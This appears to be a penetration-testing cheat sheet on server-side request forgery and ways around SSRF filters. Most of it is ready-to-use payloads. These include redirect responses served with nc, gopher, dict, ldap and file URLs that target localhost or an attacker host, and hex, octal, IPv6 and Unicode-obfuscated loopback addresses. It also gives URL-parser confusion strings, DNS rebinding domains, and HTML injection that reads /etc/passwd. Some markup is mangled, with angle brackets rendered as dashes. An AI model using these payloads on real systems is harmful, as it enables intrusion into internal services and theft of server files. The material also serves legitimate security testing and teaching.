SSRF Server Side Request Forgery
Server-side request forgery (or SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.
Bypass filters
Applications often block input containing non-whitelist hostnames, sensitive URLs, or IP addresses like loopback, IPv4 link-local, , etc. In this situation, it is sometimes possible to bypass the filter using various techniques.
Redirection
You can try using a redirection to the desired URL to bypass the filter. To do this, return a response with the 3xx code and the desired URL in the Location header to the request from the vulnerable server, for example:
HTTP/1.1 301 Moved Permanently
Server: nginx
Connection: close
Content-Length: 0
Location: http://127.0.0.1
You can achieve redirection in the following ways: -bash, like nc -lvp 80 < response.txt
-URL shortener services
-Mock and webhook services, see
-More flexible solutions such as a simple HTTP server on python
Also, if the application contains an open redirection vulnerability you can use it to bypass the URL filter, for example:
POST /api/v1/webhook HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
url=https://vulnerable-website.com/api/v1/project/next?currentProjectId=1929851&path=http://127.0.0.1
These bypass approaches work because the application only validates the provided URL, which triggers the redirect. It follows the redirect and makes a request to the internal URL of the attacker's choice.
URL scheme
You can try to use different URL schemes:
file://path/to/file
dict://<user-;<auth-@<host-:<port-/d:<word-:<database-:<n-
dict://127.0.0.1:1337/stats
ftp://127.0.0.1/
sftp://attacker-website.com:1337/
tftp://attacker-website.com:1337/TESTUDPPACKET
ldap://127.0.0.1:389/%0astats%0aquit
ldaps://127.0.0.1:389/%0astats%0aquit
ldapi://127.0.0.1:389/%0astats%0aquit
gopher://attacker-website.com/_SSRF%0ATest!
Node.js
Node.js for Windows considers any single letter in a URL scheme as drive://filepath and set the protocol to file://.
// Node.js (Windows only)
// the following row will return `file:`
new URL('l://file').protocol
Java
Java's URL will correctly handle the next URLs:
url:file:///etc/passwd
url:http://127.0.0.1:8080
IP address formats
You can try using a different IP address format to bypass the filter.
Rare IP address
Rare IP address formats, defined in : -Dotted hexadecimal IP: 0x7f.0x0.0x0.0x1
-Dotless hexadecimal IP: 0x7f001
-Dotless hexadecimal IP with padding: 0x0a0b0c0d7f000001 (padding is 0a0b0c0d)
-Dotless decimal IP: 2130706433
-Dotted decimal IP with overflow (256): 383.256.256.257
-Dotted octal IP: 0177.0.0.01
-Dotless octal IP: 017700000001
-Dotted octal IP with padding: 00177.000.0000.000001
-Combined:
0x7f.0.1
0x7f.1
00177.1
00177.0x0.1
You can short-hand IP addresses by dropping the zeros:
1 part (ping A) : 0.0.0.A
2 parts (ping A.B) : A.0.0.B
3 parts (ping A.B.C) : A.B.0.C
4 parts (ping A.B.C.D) : A.B.C.D
0 =- 0.0.0.0
127.1 =- 127.0.0.1
127.0.1 =- 127.0.0.1
IPv6 address
-IPv6 localhost:
[::]
0000::1
[::1]
0:0:0:0:0:0:0:0
-IPv4-mapped IPv6 address: [::ffff:7f00:1]
-IPv4-mapped IPv6 address: [::ffff:127.0.0.1]
-IPv4-compatible IPv6 address (deprecated, q.v. : [::127.0.0.1]
-IPv4-mapped IPv6 address with : [::ffff:7f00:1%25]
-IPv4-mapped IPv6 address with : [::ffff:127.0.0.1%eth0]
Abuse of enclosed alphanumerics
Enclosed alphanumerics is a Unicode block of typographical symbols of an alphanumeric within a circle, a bracket or other not-closed enclosure, or ending in a full stop, q.v. .
127。0。0。1
127｡0｡0｡1
127．0．0．1
⑫７｡⓪．𝟢。𝟷
𝟘𝖃𝟕𝒇｡𝟘𝔵𝟢｡𝟢𝙭⓪｡𝟘𝙓¹
⁰𝔁𝟳𝙛𝟢０１
２𝟏𝟑𝟢𝟕𝟢６𝟺𝟛𝟑
𝟥𝟪³。𝟚⁵𝟞。²₅𝟞。²𝟧𝟟
𝟢₁𝟳₇｡０｡０｡𝟢𝟷
𝟎𝟢𝟙⑦⁷。０００。𝟶𝟬𝟢𝟘。𝟎₀𝟎𝟢０𝟣
[::𝟏②₇．𝟘．₀．𝟷]
[::𝟭２𝟟｡⓪｡₀｡𝟣%𝟸𝟭⑤]
[::𝚏𝕱ᶠ𝕗:𝟏₂７｡₀｡𝟢｡①]
[::𝒇ℱ𝔣𝐹:𝟣𝟤７。₀。０。₁%②¹𝟧]
𝟎𝚇𝟕𝖋｡⓪｡𝟣
𝟎ˣ𝟩𝘍｡𝟷
𝟘𝟘①𝟕⑦．１
⓪𝟘𝟙𝟳𝟽｡𝟎𝓧₀｡𝟏
Abusing a bug in Ruby's native resolver
Resolv::getaddresses is OS-dependent, therefore by playing around with different IP formats one can return blank values. Proof of concept:
irb(main):001:0- require 'resolv'
=- true
irb(main):002:0- uri = "0x7f.1"
=- "0x7f.1"
irb(main):003:0- server_ips = Resolv.getaddresses(uri)
=- [] # The bug!
irb(main):004:0- blocked_ips = ["127.0.0.1", "::1", "0.0.0.0"]
=- ["127.0.0.1", "::1", "0.0.0.0"]
irb(main):005:0- (blocked_ips & server_ips).any?
=- false # Bypass
Broken parser
The contains a number of features that are liable to be overlooked when implementing ad hoc parsing and validation of URLs:
-Embedded credentials in a URL before the hostname, using the @ character: https://expected-host@evil-host
-Indication a URL fragment using the # character: https://evil-host#expected-host
-DNS naming hierarchy: https://expected-host.evil-host
-URL-encode characters. This can help confuse URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.
Combinations of these techniques together:
foo@evil-host:80@expected-host
foo@evil-host%20@expected-host
evil-host%09expected-host
127.1.1.1:80\@127.2.2.2:80
127.1.1.1:80:\@@127.2.2.2:80
127.1.1.1:80#\@127.2.2.2:80
ß.evil-host
## DNS pinning If you want to get a A-record that resolves to an IP, use the following subdomain:
make-<IP--rr.1u.ms
For example, domain resolves make-127-0-0-1-rr.1u.ms to 127.0.0.1:
$ dig A make-127-0-0-1-rr.1u.ms
make-127-0-0-1-rr.1u.ms. 0 IN A 127.0.0.1
Multiple records can be separated by -and-:
make-<IP--and-<IP--rr.1u.ms
For example, domain resolves make-127-0-0-1-and-127-127-127-127-rr.1u.ms to 127.0.0.1 and 127.127.127.127:
$ dig A make-127-0-0-1-and-127-127-127-127-rr.1u.ms
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.0.0.1
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.127.127.127
DNS rebinding
If the mechanisms in vulnerable application for checking and establishing a connection are independent and there is no caching of the DNS resolution response, you can bypass this by manipulating the DNS resolution response. For example, if two requests go one after the other within 5 seconds, DNS resolution make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms will return the address 1.1.1.1 by the first request, and the second - 127.0.0.1.
$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 1.1.1.1
$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 127.0.0.1
Server-side processing of arbitrary HTML and JS
Server-side processing of arbitrary HTML and JS data from a user can often be found when generating various documents, for example, to PDFs. If this functionality is vulnerable to HTML injection and/or XSS, you can use this to access internal resources:
<iframe src="file:///etc/passwd" width="400" height="400"-
<img src onerror="document.write('<iframe src=//127.0.0.1-</iframe-')"-
Use HTTPLeaks to determine if any of the allowed HTML tags could be used to abuse the processing.